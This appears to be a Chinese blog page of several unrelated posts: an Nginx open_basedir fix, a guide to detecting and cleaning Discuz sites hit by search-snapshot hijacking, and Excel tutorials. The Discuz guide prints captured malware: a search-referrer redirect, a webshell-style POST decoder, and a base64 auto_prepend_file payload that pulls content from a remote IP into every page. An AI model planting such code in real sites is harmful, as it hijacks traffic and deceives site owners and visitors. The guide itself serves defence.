Nginx配置open_basedir详解:open_basedir restriction in effect.报错

错误信息

Warning: require(): open_basedir restriction in effect. File(/www/wwwroot/nxcrm/vendor/autoload.php) is not within the allowed path(s): (/www/wwwroot/nxcrm/public/:/tmp/) in /www/wwwroot/nxcrm/public/index.php on line 24

Warning: require(/www/wwwroot/nxcrm/vendor/autoload.php): Failed to open stream: Operation not permitted in /www/wwwroot/nxcrm/public/index.php on line 24

Fatal error: Uncaught Error: Failed opening required '/www/wwwroot/nxcrm/public/../vendor/autoload.php' (include_path='.:') in /www/wwwroot/nxcrm/public/index.php:24 Stack trace: #0 {main} thrown in /www/wwwroot/nxcrm/public/index.php on line 24

解决方法

1、在宝塔设置网站目录中,不要勾选防跨站攻击,问题解决。

2、进入/www/server/nginx/conf目录下,找到fastcgi.conf,修改其中的一个参数’fastcgi_param PHP_ADMIN_VALUE’,没有的话可以自己加一个,/www/wwwroot是你的项目路径,每个人可能都不一样

fastcgi_param PHP_ADMIN_VALUE "open_basedir=/www/wwwroot/:/tmp/:/proc/"; 多个路径用:冒号隔开,文件夹以/结尾。

DZ被挂马 搜索引擎快照被劫持 网页被跳转!!!

00X0 网站被挂马 搜索引擎快照被劫持 网页被跳转

如果你的网站被劫持到一些非法站点上导致网站被标记为非法、赌博时,可能直接会被各种浏览器和搜索引擎标记为“恶意网站”从而直接拦截。世间最痛苦的事莫过于此,特么的被人阴了…

苦心经营网站多年,树立口碑不容易。一日被黑,日日被劫持。从此以后用户通过搜索引擎打开你的网站不是色情就是赌博。正常业务啥都没了,也别再谈什么可信度和口碑了。网站被收录与网站无关且违禁的博彩关键词,如果处理不及时,措施不当等待你的将是搜索引擎的惩罚:网站排名与权重下降,轻则不收录重则被k。

00X1 站长们苦恼的问题

网站被挂马该怎么解决?网站挂马的解决方法、网站被挂马怎么排查?网站老是被黑被挂马是什么原因?如何检测网站被挂马?网站快照被劫持怎么办?搜索引擎劫持怎么解决?百度快照被篡改劫持怎么回事?360快照被劫持怎么解决?discuz(DZ)被挂马快照被劫持的解决办法?dz论坛被挂马、快照劫持怎么防范?网页被跳转到博彩页面怎么办?诸如此类的问题不在罗列实在是太多了,下面就解决你的疑问!

00X2 挂马原理分析

快照劫持、搜索跳转其实是黑帽SEO利用站中站脚本自动繁殖文章“能熟练应用快照劫持(流量、爬虫、权重) 搜索跳转到自动繁殖文章(站中站脚本)做自己关键词获取定向流量的方法”

搜索引擎快照劫持是通过代码来判断和识别蜘蛛访问的,若正常访问,则给出正常内容,若判断到是搜素引擎来访问,就给出另一个页面,使搜素引擎抓取快照进行改变,之后判断来路跳转。

[快照劫持挂马方法] 多为下面两种方式实现其劫持功能

第一种:放在上html声明内引导劫持快照

这种劫持要比放在源码中更加高明难以发现,查看源码是看不到任何痕迹的。

第二种:利用字典文件繁殖文章使用include引用并提交给搜索引擎实施劫持

字典文件是一些关键词文件为文章生成提供资源,生成劫持静态文件放到要引用的文件中,根据SEO知识可知一般目录都不会太深,比较深的一般会有sitemap文件放在根目录引导蜘蛛爬取,平时注意下你的目录下sitemap.txt是否被篡改。

第一种是最简单粗暴的加到页面header文件里面引导蜘蛛。第二种相对更加隐蔽些,只需在Include中加上劫持目录即可。

Include引用代码:

@include($_SERVER[‘DOCUMENT_ROOT’].PACK(‘H*’,’2F646174612F737973646174612F30′));

【处理方法】解密代码:2F646174612F737973646174612F30 解蜜后为:/data/sysdata/0查看此目录找到并清理木马文件。

00X3 DZ论坛挂马常被反复篡改的文件

function_core.php、discuz_application.php、class_core.php、config_global.php注意排查。

一定有很多站长会遇到这个问题,不论怎么修改FTP密码,换服务器…class_core.php文件还是反复被挂马,class_core.php文件反复被挂马什么原因?一会是class_core.php被修改,一会是config_global.php被修改。那是因为木马后门已经扎根在你cms程序内部了,会时刻被唤醒使用。

class_core.php常被插入劫持<head>以上部分代码,就是第一种html声明劫持。查看源码看不到任何信息,只能抓取诊断。

为防恶意使用,仅贴出部分代码。

error_reporting(0);

$S9 = explode(“|”,_decode(‘NTguMjQ3fDE4MC4xNTZ8MTgwLjE1NnwxMTcuMTc3fDU5LjE3MnwxNzEuODN8MTE0LjgyfDYxLjE3Mg==’));

00X4 网站快照被劫持解决方法

1、进discuz后台找到工具-文件校验,找到最近被修改的php文件与源文件对比下。

2、dz的文件校验不会检查utility文件夹,除了upload里的文件,其他辅助功能文件一般用不到,如上传了请删除,避免被黑客利用。

3、使用后台文件校验看修改文件,UCcenter校验UC文件修改。

4、网站目录使用时间排序方式,查看最近修改的文件有没有可疑。

5、404态设置到位,可很大程度避免收录不存在的博彩劫持页面。

6、看网站目录内有没有被上传的tools目录或tools类型文件。

7、要有一查到底的决心,不然很难找到黑客埋藏的根基。

8、多方位加强防护,让劫持死于摇篮…

00X5 网站被劫持了怎么查看目录变化

站长们要学会从侧面发现快照劫持,不要仅仅在百度一个搜索引擎内site,要在多个搜索引擎内site,这样可以利用搜索引擎侧面检测反应网站快照劫持问题,只要有一个有劫持问题,就说明你网站一定被挂马了。并不是所有的搜索引擎都在同一时间内被劫持快照的,因为搜索引擎与搜索引擎算法技术的成熟程度是不一样的,还有就是你网站本身与搜索引擎爬虫友好度有关。

综上述解决快照劫持的大概步骤:校验文件-修改替换原始文件-设定404-举报/更新快照…

加强防范建议:插件不要随便使用,后门很多。

00X6 让你们见识下快照劫持字典文件、站中站脚本目录长什么样

快照劫持页面内容多为博彩、赌具、特服小姐等黄赌毒违法信息或其他办证,公关小姐类灰色外推行业关键词。

00X7 搜索引擎快照劫持扩展阅读

1、什么是搜索引擎快照劫持?

快照劫持:利用网站程序漏洞或爆破ftp,挂马篡改网页信息并主动post提交给搜索引擎,让其抓取收录,快照的内容多为博彩等推广内容。

2、搜索引擎快照劫持技术是什么?

搜索引擎劫持主要分快照劫持与跳转劫持,就是传说中的黑帽SEO手法快照劫持与流量劫持。其中快照劫持有的直接篡改原始网页挂马劫持,有的再生成新链接或上传大量静态页面挂黄赌毒博彩相关行业推广词;跳转劫持是使用跳转脚本让访问链接跳转到其他指定博彩站页面,主要是提高网站受众群体量与增加网站曝光度。

3、最新快照劫持及网页篡改网站入侵挂马问题

class_core.php文件插入跳转代码

error_reporting(E_ALL);

@error_reporting(1);

@$ref = strtolower($_SERVER[‘HTTP_REFERER’]);

@$jump_ref = explode(“|”,”haoso.|so.|haosou.|google.|soso.”);

foreach($jump_ref as $r){

$r = trim($r);

if(stristr($ref,$r)){

if($_GET[‘tid’]>50000){

header(‘Location: http://www.xxxxxxxxx.com/?op5u’);

die();

}

}

}

<?php

error_reporting(0);set_time_limit(0);

$GuTou=@$_POST[“gutou”];

if($GuTou){

$cc=””;for($i=0;$i<strlen($GuTou);$i+=2)

$cc.=urldecode(“%”.substr($GuTou,$i,2));

}

?>

如何发现被快照劫持了

使用语法 关键词 site:语法 【】【官网入口】…

discuz被挂马discuz百度快照被劫持的解决方法

[DZ挂马]discuz!论坛360快照劫持的处理方法

dz论坛被挂马、快照劫持怎么防范?

关于dz论坛恶意挂赌博广告的排查心得

discuz被挂马_百度快照被劫持的解决办法

网站被挂马_各大搜索引擎快照被劫持的处理方法

网页发现被篡改PHP 配置 之 auto_prepend_file

 

网站被挂马该怎么解决?网站挂马的解决方法、网站被挂马怎么排查?网站老是被黑被挂马是什么原因?如何检测网站被挂马?网站快照被劫持怎么办?搜索引擎劫持怎么解决?百度快照被篡改劫持怎么回事?360快照被劫持怎么解决?discuz(DZ)被挂马快照被劫持的解决办法?dz论坛被挂马、快照劫持怎么防范?网页被跳转到博彩页面怎么办?诸如此类的问题不在罗列实在是太多了,下面就解决你的疑问!

当你找遍了 所有代码没有发现问题但是打开网页还是发现被篡改了不妨查看一下 这两个配置文件或者实时

在php.ini中有两项:

auto_prepend_file 在页面顶部加载文件
auto_append_file  在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

例如:修改php.ini,修改auto_prepend_file与auto_append_file的值。

1
2
auto_prepend_file = "/home/fdipzone/header.php"
auto_append_file = "/home/fdipzone/footer.php"

或同过下面加密方式挂马篡改所有页面

auto_prepend_file = “data:;base64,PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CgpoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Iik7CmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOwokVERfc2VydmVyID0gImh0dHA6Ly8xNTQuODQuMTI3LjY4LyI7IAokaG9zdF9uYW1lID0gImh0dHA6Ly8iLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXTsKJENvbnRlbnRfbWI9ZmlsZV9nZXRfY29udGVudHMoJFREX3NlcnZlci4iL2luZGV4LnBocD9ob3N0PSIuJGhvc3RfbmFtZS4iJnVybD0iLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXS4iJmRvbWFpbj0iLiRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTsKCmVjaG8gJENvbnRlbnRfbWI7CgokdXJsMSA9ICRfU0VSVkVSWydQSFBfU0VMRiddOyAgCiRmaWxlbmFtZTEgPSBAZW5kKGV4cGxvZGUoJy8nLCR1cmwxKSk7ICAKZnVuY3Rpb24gc2V0X3dyaXRlYWJsZSgkZmlsZV9uYW1lKQp7CkBjaG1vZCgkZmlsZV9uYW1lLDA0NDQpOwoKfSAKc2V0X3dyaXRlYWJsZSgkZmlsZW5hbWUxKTsKCj8+”

 

Excel工作表保护密码忘记了怎么办

1、先找到有工作表保护密码的Excel表格,然后将忘记密码的Excel文件名称后缀由.xlsx改为.rar,如果有提示可以忽略,一般不会造成什么影响。

2、用压缩文件打开忘记密码的Excel文件,然后按以下步骤进行操作:

进入到目录 xl——worksheets——sheet1.xml(这里是将sheet1工作表设置了保护密码,可根据实际情况选择相应文件名)。

3、从压缩文件里面找到sheet1.xml文件,然后将sheet1.xml文件右击选择用记事本打开方式打开。

4、然后搜索,“protection”,把从<sheetprotection………=”0″/>这一段代码,全部删除掉。

5、然后再把修改后的sheet1.xml文件,选择拖拽到压缩的工作薄中,选择替换掉即可,点击确定。

6、最后一步,和第一步相反,把文件名称后缀,由“演示表格.rar”重新更改“演示表格.xlsx”。最后打开Excel表格,所有密码都取消了。

更多“撤销工作表保护密码忘记了怎么办 忘记密码怎么撤销工作表保护密码”的相关经验资讯请关注云知道,我们将持续为您更新热门推荐!

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

本文介绍EXCEL统计函数全家桶,它们是COUNT、COUNTA、COUNTBLANK和COUNTIFS函数。为什么不介绍COUNTIF这个函数,因为COUNTIFS不仅包含了它的功能,而且比它更强大,所以大家不必再学COUNTIF这个函数了。
参数:COUNT(区域或单元格或数组1,区域或单元格或数组2,……),最多可以有255个参数,最少要保留1个参数。
作用:统计在选定的单元格区域里有多少个’数值型数字’和’数值型日期’,其余内容不统计。
知识点1:当文本型数字直接输入到函数公式里,如=COUNT(‘1′,’8-5’)结果为2,是参与统计的;但是套上数组,如=COUNT({‘1′,’8-5’})结果为0,数组里的文本型数字不参与统计。
知识点2:当逻辑值TRUE和FALSE直接输入到公式里,如=COUNT(TRUE,FALSE)结果为2,参与统计;但是加上双引号,如=COUNT(‘TRUE’,’FALSE’)结果为0,不参与统计。
如图1:罗列了COUNT函数的统计类型
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图1
如图2:案例动图演示
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图2
参数:COUNTA(区域或单元格或数组1,区域或单元格或数组2,……),最多可以有255个参数,最少要保留1个参数。
作用:统计所有内容的个数,包括数字、文本、错误值、公式等;COUNTA就是COUNTALL全部的意思。
知识点1:有些空单元格里是有公式的,但是公式是设置成“错误显示为空”,所以我们肉眼看上去是空单元格,COUNTA函数也算它是有内容的。
如图3:罗列了COUNTA函数的统计类型
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图3
如图4:案例动图演示,统计员工人数
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图4
参数:COUNTBLANK(连续单元格区域),只有1个参数,且必须是连续的单元格区域。
作用:统计在选定的连续单元格区域里有多少个空白单元格。
知识点1:COUNTBLANK必须是对“连续单元格区域”才能计算,且只有1个参数。
知识点2:有些空单元格里是有公式的,但是公式是设置成“错误显示为空”,所以我们肉眼看上去是空单元格,COUNTBLANK函数也算它是空单元格,【刚好和COUNTA函数相反】。
如图5:案例介绍
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图5
参数:COUNTIFS(条件区域1,条件1,条件区域2,条件2,……),最多可以有127个条件区域和127个条件。
作用:多条件统计,按要求的条件统计出对应的单元格个数。
知识点1:COUNTIFS后面的条件区域行、列数必须和第一个条件区域的行、列数一模一样。
知识点2:如果想用该函数求某一列有多少个空单元格,公式应该写成=COUNTIFS(区域列,”)。如果写成=COUNTIFS(区域列,空单元格E1),则空单元E1会被当做’0’来处理,函数返回的结果数是“0”有几个。
▶案例一:COUNTIFS单个条件统计个数,按部门求人数
如图6:在H2单元格输入公式后,下拉填充完成。
=COUNTIFS($C$2:$C$12,G2)
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图6
▶案例二:COUNTIFS多个条件统计个数,按部门和年龄求人数
如图7:在i3单元格输入公式后,下拉填充完成,表示要同时满足部门和年龄条件。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图7
▶案例三:COUNTIFS多条件统计,求区间范围的人数
如图8:在i3单元格输入公式,求大于等于30且小于等于50岁的人数。
=COUNTIFS($E$2:$E$12,’>=30′,$E$2:$E$12,'<=50′)
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图8
▶案例四:COUNTIFS统计重复次数(2种统计模式),分别如图9和图10
1 如图9:统计每个’品牌’总的重复次数,在E2单元格输入公式
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图9
2 如图10:统计每个’品牌’分别在第几次出现,在F2单元格输入公式
=COUNTIFS($B$2:$B2,B2)
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图10
▶案例五:COUNTIFS删除重复项,求’品牌’种类个数
如图11:在G2单元格输入公式,因为是数组形式,按CTRL+Shift+回车三键。
原理:1/每个品牌总的重复次数,比如A出现4次,那1/4+1/4+1/4+1/4=1。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图11
▶案例六:COUNTIFS与VLOOKUP嵌套组合,完成一对多引用
①如图12:直接要在重名的品牌里引用所有数据是不行,要加辅助列,
在辅助列B2单元格输入公式,
=C2&COUNTIFS($C$2:$C2,C2)
品牌名&countifs统计的出现次数,就会返回结果:大众1、大众2、现代1等等,形成唯一值。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图12
②如图13: 在G3单元格输入公式,
VLOOKUP的查找值:品牌&ROW函数,动图变成唯一值;
IFERROR(正确值,”),它是’屏蔽错误值’函数,可以将“错误值”替换成“我们想要的内容”,这里把错误替换成空”。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图13
▶案例七:COUNTIFS的’条件值’&通配符*来完成模糊查找
如图14:在i3单元格输入公式,
=COUNTIFS($B$2:$B$12,’王*’)
王*表示只查找’王’字开头的人;*王*表示只要有’王’字都查找,这样结果就是4,包含了’小王’。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图14
▶案例八:COUNTIFS求大于平均年龄的人数
如图15:在i3单元格输入公式,
AVERAGE($E$2:$E$12)是求平均值函数。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图15
▶案例九:COUNTIFS通过’数据验证’或’数据有效性’来禁止重复值录入
如图16:选中B2:B12数据区域,
点’数据’菜单选项——数据验证——设置里选’自定义’,
在公式栏输入=COUNTIFS($B$2:$B$12,B2)=1。
表示’条件值’在’条件区域’里的个数=1,保证没有重复值录入。
COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资

COUNTIFS函数9种高级用法详解,条件统计重复值,告别加班涨工资
图16
喜欢的朋友请支持下,点点关注,帮忙转发、点赞,谢谢啦!

Excel使用教程:SUMIF条件求和函数应用

SUMIF条件求和函数是excel最常用的函数之一。

语法:SUMIF(range, criteria, [sum_range]);

中文语法:SUMIF(根据条件进行计算的单元格的区域, 单元格求和的条件, [求和的实际单元格]);

其中:前两上参数是必需的,第三个参数可选,如果第三个参数缺省,默认的是对第一个参数区域求和。

以下样例,述的是SUMIF函数应用之一:单条件、多条件、模糊条件求和:

第一种用法:单字段单条件求和

题目1:统计鞋子的总销量

公式“=SUMIF(B2:B15,”鞋子”,C2:C15)”。

 

 

题目2:统计销量大于1000的销量和

公式“=SUMIF(C2:C15,”>1000″)”,

其中第三个参数缺省,则直接对C2:C15区域中符合条件的数值求和。

 

 

第二种用法:单字段多条件求和

题目3:统计衣服、鞋子、裤子产品的总销量

公式“=SUM(SUMIF(B2:B15,{“衣服”,”鞋子”,”裤子”},C2:C15))”,多个条件以数组的方式写出。

 

 

第三种用法:单字段模糊条件求和

题目4:统计鞋类产品的总销量

公式“=SUMIF(B2:B15,”鞋*”,C2:C15)”,其中,星号 (*)是通配符,在条件参数中使用可以匹配任意一串字符。

第四种用法:单字段数值条件求和

题目5:统计销量前三位的总和

公式“=SUMIF(C2:C15,”>”&LARGE(C2:C15,4),C2:C15)”。

其中,”>”&LARGE(C2:C15,4)是指大于第四名的前三名的数值。

[rihide]SUMIF[/rihide]

 

Excel使用教程:Datedif函数算时间差

以Excel为例,使用datedif函数算时间差的具体格式为:DATEDIF(start date,end date,unit)。其中Start date代表时间段内的第一个日期或起始日期,End date代表时间段内的最后一个日期或结束日期,Unit为所需信息的返回类型。

公式:=DATEDIF(A2,B2,”y”)

Y=年

M=月

D=日

2、excel使用教程DATEDIF月数差需要的是获取两个日期之间的相隔月数差。

公式:=DATEDIF(A2,B2,”m”)

4、excel使用教程获取两个日期周数差获取周数的话,我们可以直接在天数的基础上除以7。然后,右键弹出菜单,选择设置单元格格式,选择数值就可以自行修改小数位数。=DATEDIF(A2,B2,”d”)/7

Excel使用教程:Datedif函数精确计算

DATEDIF函数是Excel隐藏函数,其在帮助和插入公式里面没有。 返回两个日期之间的年\月\日间隔数。常使用DATEDIF函数计算两日期之差。包含D,M,Y,YD,YM,MD。

1、计算周岁:

在C2输入:“=DATEDIF(B2,TODAY(),”y”)”;

2、计算整月:

在D2输入:“=DATEDIF(B2,TODAY(),”m”)”;

3、计算整天:

在E2输入:”=DATEDIF(B2,TODAY(),”d”)”;

4、计算天数之差(忽略年和月):

在F2输入:”=DATEDIF(B2,TODAY(),”md”)”;

5、计算月数之差(忽略年和日):

在G2输入:”=DATEDIF(B2,TODAY(),”ym”)”;

6、计算天数之差(不计年数):

在H2输入:”=DATEDIF(B2,TODAY(),”yd”);

如果想在以上公式中,直接用身份证里提取出生日期,而不用B2,则可以直接把B2替换成公式:“DATE(MID(A2,7,4),MID(A2,11,2),MID(A2,13,2))”。

Excel数据透视表做等级评定

excel数据透视表做等级评定,等级评定是EXCEL数据管理经常遇到的一种数据分析方法,一般是给出不同等级评定的标准数据区间,根据某项数据,批量生成每行的等级。

以下面一组数据为例,给大家总结一下等级评定的五种常的方法:

一般,在比较正规的表格中,不提倡添加辅助列,那就不加辅助列,直接写结果。

IF函数

在C2单元格输入公式:“=IF(B2<60,”不合格”,IF(B2<70,”合格”,IF(B2<85,”良好”,”优秀”)))”。

因为有四种不同的等级,所以使用IF的三重嵌套。

VLOOKUP函数

在D2单元格输入公式:“=VLOOKUP(B2,{0,”不合格”;60,”合格”;70,”良好”;85,”优秀”},2)”。

其中,{0,”不合格”;60,”合格”;70,”良好”;85,”优秀”}是形成一新的数据区域:

LOOKUP函数

在E2单元格输入公式:“=LOOKUP(B2,{0,60,70,85},{“不合格”;”合格”;”良好”;”优秀”})”。

CHOOSE+MATCH函数

在F2单元格输入公式:“=CHOOSE(MATCH(B2,{0,60,70,85},1),”不合格”,”合格”,”良好”,”优秀”)”。

其中:MATCH(B2,{0,60,70,85},1),是匹配比B2小的最大值在数组{0,60,70,85}中的位次。

那CHOOSE函数就可以简写为:“=CHOOSE(位次,”不合格”,”合格”,”良好”,”优秀”)”,位次是几,那就返回”不合格”,”合格”,”良好”,”优秀”中的第几个等级。

比如,假设B2数据是66,那比66小的最大数据就是60,60在数组中的是第2位,那按照CHOOSE函数,66对应的就是“合格”。

INDEX+MATCH函数

在G2单元格输入公式:“=INDEX({“不合格”;”合格”;”良好”;”优秀”},MATCH(B2,{0,60,70,80},1))”。

总结

以上的五种方法,同样适合于计算个人所得税、业绩提成等方面。